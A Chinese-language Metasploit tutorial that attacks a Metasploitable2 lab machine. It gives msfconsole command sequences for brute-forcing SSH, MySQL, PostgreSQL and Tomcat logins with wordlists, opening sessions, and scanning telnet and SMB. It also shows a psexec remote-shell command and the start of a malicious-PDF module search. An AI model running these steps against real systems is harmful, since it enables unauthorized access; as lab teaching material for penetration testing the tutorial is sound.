Kali MSF漏洞利用

一、前言

　　漏洞利用是获得系统控制权限的重要途经。用户从目标系统中找到容易攻击的漏洞，然后利用该漏洞获取权限，从而实现对目标系统的控制。　　

二、Metasploitable

　　Metasploitable是一款基于Ubuntu Linux的操作系统。该系统是一个虚拟机文件，从https://sourceforge.net/projects/metasploitable/files/latest/download 网站获取最新版，下载解压之后可以直接使用，无需安装。Metasploitable就是用来作为攻击用的靶机，所以它存在大量为打补丁漏洞，并且开放了无数高危端口。

三、Metasploit基础

　　Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程。

3.1  Metasplot终端（MSF console）

　　MSF终端（msf console）是目前Metasploit框架最为流行的用户接口，而且也是非常灵活的。因为MSF终端是Metasploit框架中最灵活、功能最丰富及支持最好的工具之一。msf console主要用户管理Metasploit数据库，管理绘画、配置并启动Metasploit模块。本质上来说，就是为了利用漏洞，msf console将获取用户连接到主机的信息，以至于用户能启动渗透攻击目标系统。

　　当使用Metasploit控制台时，将使用一些通用的命令，如下所示。

help: 该命令允许用户查看执行命令的帮助信息。
user module: 该命令允许用户加载选择的模块。
set optionname module: 该命令为模块设置不同的选项。
run: 该命令用来启动一个非渗透攻击模块
search module: 该命令用于搜索一个特定的模块。
exit: 退出msf console

(1) 在终端启动msf console，执行命令如下所示：

root@kali:~/桌面# msfconsole 

 输出的信息出现msf5>提示符，表示登录msf console成功。此时就可以允许其他命令了。

（2）使用search命令搜索所有有效的模块。

msf5 > search ssh_login 

执行以上命令后，输出信息如下所示：

 （3）使用SSH口令爆破模块

msf5 > use auxiliary/scanner/ssh/ssh_login     # 等同于 use 0    0表示前面的编号 

 （4）查看模块有效选项，执行命令如下所示：

msf5 auxiliary(scanner/ssh/ssh_login) > show options 

 （5）设置有效参数，执行命令如下所示：

msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.244.132
rhosts => 192.168.244.132
msf5 auxiliary(scanner/ssh/ssh_login) > set username root
username => root
msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file /root/sshpass.txt
pass_file => /root/sshpass.txt

 （6）启动模块，执行命令如下所示：

msf5 auxiliary(scanner/ssh/ssh_login) > run

 （7）查看session，执行命令如下所示：

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -l

 (3) 连接session，执行命令如下所示：

msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1

如下图所示，已成功连接至目标主机

3.2 Meterpreter 

　　Meterpreter通常作为利用漏洞后的攻击载荷所使用，攻击载荷在出发漏洞后能返回给用户一个控制通道。当使用msfconsole获取到目标系统上的一个Meterpreter连接时，用户必须使用Meterpreter传递攻击载荷。msfconsole用于管理用户的会话，而Meterpreter则是攻击载荷和渗透攻击交互。

　　Meterpreter常见的命令如下所示：

help: 查看帮助信息
background: 允许用户在后台Meterpreter会话。
download：允许用户从入侵主机上下载文件。
upload：允许用户上传文件到入侵主机。
execute：允许用户在入侵主机上执行命令。
shell：允许用户在入侵主机上（仅是Windows主机）运行Windows shell命令。
sessions -i: 允许用户切换会话

 四、渗透攻击应用

4.1 渗透攻击MySQL数据库

目标靶机使用的Metasploitable2

msf5 > search mysql_login
msf5 > use auxiliary/scanner/mysql/mysql_login
msf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/mysql/mysql_login) > set user_file /root/username.txt
user_file => /root/username.txt
msf5 auxiliary(scanner/mysql/mysql_login) > set pass_file /root/password.txt
pass_file => root/password.txt
msf5 auxiliary(scanner/mysql/mysql_login) > exploit

 输出的信息是渗透攻击的一个过程，尝试使用指定的用户名/密码文件中的用户名和密码连接MySQL服务器。在渗透攻击过程中，Metasploit会尝试输入用户名和密码文件包含的用户名和密码组合。

4.2 渗透攻击PostgreSQL数据库服务

目标靶机使用的Metasploitable2

msf5 > search postgres_login
msf5 auxiliary(scanner/mysql/mysql_login) > use auxiliary/scanner/postgres/postgres_login
msf5 auxiliary(scanner/postgres/postgres_login) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/postgres/postgres_login) > set user_file /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
user_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
msf5 auxiliary(scanner/postgres/postgres_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
pass_file => /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
msf5 auxiliary(scanner/postgres/postgres_login) > exploit

 4.3 渗透攻击Tomcat服务

　　Tomcat默认存在一个管理后台，默认的管理地址是http://IP:端口/manager/html。通过此后台，可以在不重启Tomcat服务的情况西安方便地部署、启动、停止或卸载Web应用。但是如果配置不当的话就存在很大的安全隐患。攻击者利用这个漏洞，可以非常快速、轻松地入侵一台服务器。

目标靶机使用的Metasploitable2

msf5 > search tomcat_mgr_login
msf5 > use auxiliary/scanner/http/tomcat_mgr_login
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
pass_file => /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set user_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
user_file => /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8180
rport => 8180
msf5 auxiliary(scanner/http/tomcat_mgr_login) > exploit

 4.4 渗透攻击Telnet服务

msf5 > search telnet_version
msf5 auxiliary(scanner/http/tomcat_mgr_login) > use auxiliary/scanner/telnet/telnet_version
msf5 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/telnet/telnet_version) > exploit

 4.5 渗透攻击Samba服务

　　Samba是实现SMB(Server Messages Block)协议、跨平台进行文件共享和打印共享服务的程序。Samba服务对应的端口有139和445等，只要开启这些端口后，主机就可能存在Samba服务远程溢出漏洞。

      目标靶机使用的Metasploitable2

msf5 > search smb_version
msf5 > use auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.244.136
rhosts => 192.168.244.136
msf5 auxiliary(scanner/smb/smb_version) > exploit

 　　假如通过SMB爆破出目标主机的用户及密码、目标主机又没有开启RDP时，可以使用psexec.exe \目标主机地址 -l administrator -p 1234567 cmd.exe

4.6 PDF文件攻击

　　PDF是一种文件格式，该文件的使用比较广泛，并且容易传输。通常工作中，用户都是从工作程序中打开了一个合法的PDF文档。当打开该文档时，该用户的主机就可能被攻击。Metasploit提供了一个渗透攻击模块，可以创建一个攻击载荷，通过传递该攻击载荷对目标系统进行渗透攻击。

msf5 auxiliary(scanner/smb/smb_version) > search adobe_pdf_embedded_exe